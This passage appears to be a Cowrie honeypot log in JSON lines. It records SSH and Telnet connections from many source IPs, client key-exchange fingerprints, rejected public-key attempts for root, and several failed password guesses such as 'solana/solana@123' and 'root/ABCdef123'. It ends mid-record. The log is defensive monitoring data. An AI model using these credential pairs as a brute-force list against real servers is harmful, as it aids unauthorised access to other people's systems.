{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:aa:78:84:2f:28:d9:02:37:64:06:53:ca:92:80:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAsrOYq0HBzWGLBHeragvR68WNlMB6G689qYUr3CAD6NnzhCSTh9bC2XTD3/fAt9eBQ/PPJ44ObRJeLx4RhCwwpm1XMP1uDOeYbQSb3pAehzK+nL0/KC7lbyb1ubVsWPnX8tkpeOblC+vXl+11i4LuEvNj5OVD/eX2rupJS/kuLLE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:aa:78:84:2f:28:d9:02:37:64:06:53:ca:92:80:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:57.840344Z","src_ip":"170.238.136.42","session":"fd1e4a1c1fdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:aa:78:84:2f:28:d9:02:37:64:06:53:ca:92:80:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAsrOYq0HBzWGLBHeragvR68WNlMB6G689qYUr3CAD6NnzhCSTh9bC2XTD3/fAt9eBQ/PPJ44ObRJeLx4RhCwwpm1XMP1uDOeYbQSb3pAehzK+nL0/KC7lbyb1ubVsWPnX8tkpeOblC+vXl+11i4LuEvNj5OVD/eX2rupJS/kuLLE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:57.846497Z","src_ip":"170.238.136.42","session":"fd1e4a1c1fdc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:76:85:f9:0b:1c:1e:27:89:2b:d5:be:e8:47:4a:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPrD/QhBi3PiTRgHrRs3/NWwi+aJSFh+5VWVFPyG68Rkdi4Q3O4dYD39rgTsLATOI6KbZ5xQnsiUpmOQGXcgJRMaxHdn1rFcDAvp0YB3y7oLj2zQwxV4OZA3GHkpkfO0K1YGGl27MW8xUG4XWQTL+wxD37N8YVnC0zL7K7/UmNbPYrgLJHWD2rodNPgTDT0v9Efn0u9VwcQZnV3siLzZH6bPyGQTXY92H+L7vNAHcZmvK8fjLhQm5i+HdTXNXBMNDs3wg3My7A5GtojugtHOGrScOGxTMfKIMRCRkNUAp+6pZo0gZi/+wc6uWHPDgHviGHykkHTrZ11C7GxQ8Z1TDV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:76:85:f9:0b:1c:1e:27:89:2b:d5:be:e8:47:4a:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:57.959177Z","src_ip":"170.238.136.42","session":"fd1e4a1c1fdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:76:85:f9:0b:1c:1e:27:89:2b:d5:be:e8:47:4a:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPrD/QhBi3PiTRgHrRs3/NWwi+aJSFh+5VWVFPyG68Rkdi4Q3O4dYD39rgTsLATOI6KbZ5xQnsiUpmOQGXcgJRMaxHdn1rFcDAvp0YB3y7oLj2zQwxV4OZA3GHkpkfO0K1YGGl27MW8xUG4XWQTL+wxD37N8YVnC0zL7K7/UmNbPYrgLJHWD2rodNPgTDT0v9Efn0u9VwcQZnV3siLzZH6bPyGQTXY92H+L7vNAHcZmvK8fjLhQm5i+HdTXNXBMNDs3wg3My7A5GtojugtHOGrScOGxTMfKIMRCRkNUAp+6pZo0gZi/+wc6uWHPDgHviGHykkHTrZ11C7GxQ8Z1TDV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:57.962758Z","src_ip":"170.238.136.42","session":"fd1e4a1c1fdc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:6b:f3:7e:64:6c:0d:23:9d:6b:88:2c:dd:06:50:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo8VbytYcB4fMctor2Df7kCmM24NSEVG5fjsJmbvgh8cDEbfkQOSRDvtg6NU9x04ftXIreqBQApL23DtRf4G1gTB6QcNH2gQ+SIIr5+SLnzvRk1jCY/IVFbFqr57GGMsOlppneNWsXolJBJ1bcq0irs8MgI5VBY4Gf0uGwBijdYRRvJ8Izp16QoYM0OuxCTziVm0F1z3D3aVlEhnOI9dx57iz6eoLfGVtyveTYyu4xN9TVDMWenAWswJrYqOl/3Wa6t05ycO4Ia837Hs1MlXsNd5d4b6nUvGqSDXcXfcc3SFA9HQcBUpnvRZ2T8sv/bThxSPu6YidKqCtyT2pAnrrT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:6b:f3:7e:64:6c:0d:23:9d:6b:88:2c:dd:06:50:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:58.075732Z","src_ip":"170.238.136.42","session":"fd1e4a1c1fdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:6b:f3:7e:64:6c:0d:23:9d:6b:88:2c:dd:06:50:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo8VbytYcB4fMctor2Df7kCmM24NSEVG5fjsJmbvgh8cDEbfkQOSRDvtg6NU9x04ftXIreqBQApL23DtRf4G1gTB6QcNH2gQ+SIIr5+SLnzvRk1jCY/IVFbFqr57GGMsOlppneNWsXolJBJ1bcq0irs8MgI5VBY4Gf0uGwBijdYRRvJ8Izp16QoYM0OuxCTziVm0F1z3D3aVlEhnOI9dx57iz6eoLfGVtyveTYyu4xN9TVDMWenAWswJrYqOl/3Wa6t05ycO4Ia837Hs1MlXsNd5d4b6nUvGqSDXcXfcc3SFA9HQcBUpnvRZ2T8sv/bThxSPu6YidKqCtyT2pAnrrT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:58.079336Z","src_ip":"170.238.136.42","session":"fd1e4a1c1fdc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:87:75:b0:bb:3b:ad:25:bf:a3:33:ca:04:6c:8b:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRWekSJJj89HsMR9tEiTuytrNRVR2PPuVcSdsEf2UQ50kQyaQRibdHjUi07fQ9IawTXZqBiX7/vPghL93OYlhseE6+uluROg+F45ILA6GaNtxmcUs99HZ2CUr9nVPxJ8mhsm7T8NIuTP2UiJICRSwF+EQc1zYc+lZWUk0MBnqzMTujBb+AIbNUZDopKjrE5j0ypaPjLJRaIoGwHCRjCbjpobiQkeeWel1qz2r3k11QQygSdGgLXJr0LNiECnflNp6lewsNqs9vIwVijmDxMtzfpmIkg/hc8id7K2f1o6ABlN21p2ITwtQYvhok67TAzR5M08CfZmZm6YGW1aGLgNlh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:87:75:b0:bb:3b:ad:25:bf:a3:33:ca:04:6c:8b:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:58.192134Z","src_ip":"170.238.136.42","session":"fd1e4a1c1fdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:87:75:b0:bb:3b:ad:25:bf:a3:33:ca:04:6c:8b:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRWekSJJj89HsMR9tEiTuytrNRVR2PPuVcSdsEf2UQ50kQyaQRibdHjUi07fQ9IawTXZqBiX7/vPghL93OYlhseE6+uluROg+F45ILA6GaNtxmcUs99HZ2CUr9nVPxJ8mhsm7T8NIuTP2UiJICRSwF+EQc1zYc+lZWUk0MBnqzMTujBb+AIbNUZDopKjrE5j0ypaPjLJRaIoGwHCRjCbjpobiQkeeWel1qz2r3k11QQygSdGgLXJr0LNiECnflNp6lewsNqs9vIwVijmDxMtzfpmIkg/hc8id7K2f1o6ABlN21p2ITwtQYvhok67TAzR5M08CfZmZm6YGW1aGLgNlh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:58.195922Z","src_ip":"170.238.136.42","session":"fd1e4a1c1fdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:58.309002Z","src_ip":"170.238.136.42","session":"fd1e4a1c1fdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00163412094116,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:53:58.796869Z","src_ip":"212.55.149.117","session":"64160af2b271","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":34899,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee1af9fce5ee","protocol":"telnet","message":"New connection: 212.55.149.117:34899 (10.17.0.5:23) [session: ee1af9fce5ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:54:00.364958Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35188,"dst_ip":"159.203.135.109","dst_port":23,"session":"30c5ca0d56c1","protocol":"telnet","message":"New connection: 128.199.8.54:35188 (159.203.135.109:23) [session: 30c5ca0d56c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:54:36.527620Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":50572,"dst_ip":"10.17.0.5","dst_port":23,"session":"c42320b0364c","protocol":"telnet","message":"New connection: 68.178.168.57:50572 (10.17.0.5:23) [session: c42320b0364c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:54:48.106826Z"}
{"eventid":"cowrie.session.closed","duration":35.51885104179382,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:55:12.046383Z","src_ip":"128.199.8.54","session":"30c5ca0d56c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.185271501541138,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:55:19.291789Z","src_ip":"68.178.168.57","session":"c42320b0364c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0050036907196,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:56:00.369837Z","src_ip":"212.55.149.117","session":"ee1af9fce5ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":40742,"dst_ip":"159.203.135.109","dst_port":22,"session":"b254a8980895","protocol":"ssh","message":"New connection: 80.94.92.186:40742 (159.203.135.109:22) [session: b254a8980895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:56:06.668692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:56:06.919511Z","src_ip":"80.94.92.186","session":"b254a8980895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:56:06.923018Z","src_ip":"80.94.92.186","session":"b254a8980895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana@123","message":"login attempt [solana/solana@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:56:07.882951Z","src_ip":"80.94.92.186","session":"b254a8980895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:56:09.539761Z","src_ip":"80.94.92.186","session":"b254a8980895","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":44924,"dst_ip":"10.17.0.5","dst_port":23,"session":"14f4a5c9db1c","protocol":"telnet","message":"New connection: 208.92.193.123:44924 (10.17.0.5:23) [session: 14f4a5c9db1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:04.123060Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":46082,"dst_ip":"10.17.0.5","dst_port":23,"session":"06458cbcab40","protocol":"telnet","message":"New connection: 212.55.149.117:46082 (10.17.0.5:23) [session: 06458cbcab40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:09.962069Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":56848,"dst_ip":"159.203.135.109","dst_port":22,"session":"33ad99b2ee93","protocol":"ssh","message":"New connection: 141.11.21.145:56848 (159.203.135.109:22) [session: 33ad99b2ee93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:12.977320Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:13.054132Z","src_ip":"141.11.21.145","session":"33ad99b2ee93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":56862,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7fa6fc9f1ee","protocol":"ssh","message":"New connection: 141.11.21.145:56862 (159.203.135.109:22) [session: d7fa6fc9f1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:13.139763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:13.145252Z","src_ip":"141.11.21.145","session":"d7fa6fc9f1ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:13.229005Z","src_ip":"141.11.21.145","session":"d7fa6fc9f1ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huang","password":"10301X","message":"login attempt [huang/10301X] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:13.477157Z","src_ip":"141.11.21.145","session":"d7fa6fc9f1ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:14.563124Z","src_ip":"141.11.21.145","session":"d7fa6fc9f1ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":49196,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a451fe03cb7","protocol":"ssh","message":"New connection: 103.15.226.202:49196 (10.17.0.5:22) [session: 5a451fe03cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:15.239093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:15.243530Z","src_ip":"103.15.226.202","session":"5a451fe03cb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:15.500074Z","src_ip":"103.15.226.202","session":"5a451fe03cb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCdef123","message":"login attempt [root/ABCdef123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:16.265441Z","src_ip":"103.15.226.202","session":"5a451fe03cb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:17.538347Z","src_ip":"103.15.226.202","session":"5a451fe03cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.134.49.179","src_port":54210,"dst_ip":"10.17.0.5","dst_port":22,"session":"97a09ce6c30d","protocol":"ssh","message":"New connection: 185.134.49.179:54210 (10.17.0.5:22) [session: 97a09ce6c30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:31.904480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:31.908795Z","src_ip":"185.134.49.179","session":"97a09ce6c30d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:32.044608Z","src_ip":"185.134.49.179","session":"97a09ce6c30d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:67:a9:8c:30:14:6a:d7:8b:53:b6:91:86:b3:8f:fc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEqSJsioeJkAB5aO+smoPVI6fG8BxwLeQfmDKinwwpG6","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ec:67:a9:8c:30:14:6a:d7:8b:53:b6:91:86:b3:8f:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:32.638620Z","src_ip":"185.134.49.179","session":"97a09ce6c30d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:67:a9:8c:30:14:6a:d7:8b:53:b6:91:86:b3:8f:fc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEqSJsioeJkAB5aO+smoPVI6fG8BxwLeQfmDKinwwpG6","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:32.642072Z","src_ip":"185.134.49.179","session":"97a09ce6c30d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:64:8a:73:a2:b0:81:f0:2d:a6:6c:ff:49:a0:7f:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhNcisYNS04hj9GXzHuW8RtLTrFx/0N/KhCi6blSTvRb3mpxJ3zb7anS1kPFVkgZjsT+vogIeFTFkV48SpT3yGUTc7jUSb6uns0Dsf5P7PYJhG41uWbI/zSHLcSENS4vS2K+HX2aGvuJ7lNukDViDy8s6o9q5RAED41ZoEq9BcqpDfr0rsGfKzBbEze0YeUpQm1zga7TqEa4t/EaV6fsZPkXNChF/BvIs0FBCjF4PTQ8zPuKoqQaMLYIWpXhs84VLwHtqzAiQZ5Pu5aeUhmNS8UhmYx3iYPwYINMEiLY7tTfTGA11cXl3DjT70m1yiXnzmHoLuyw9i92kzTbXu/m2n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 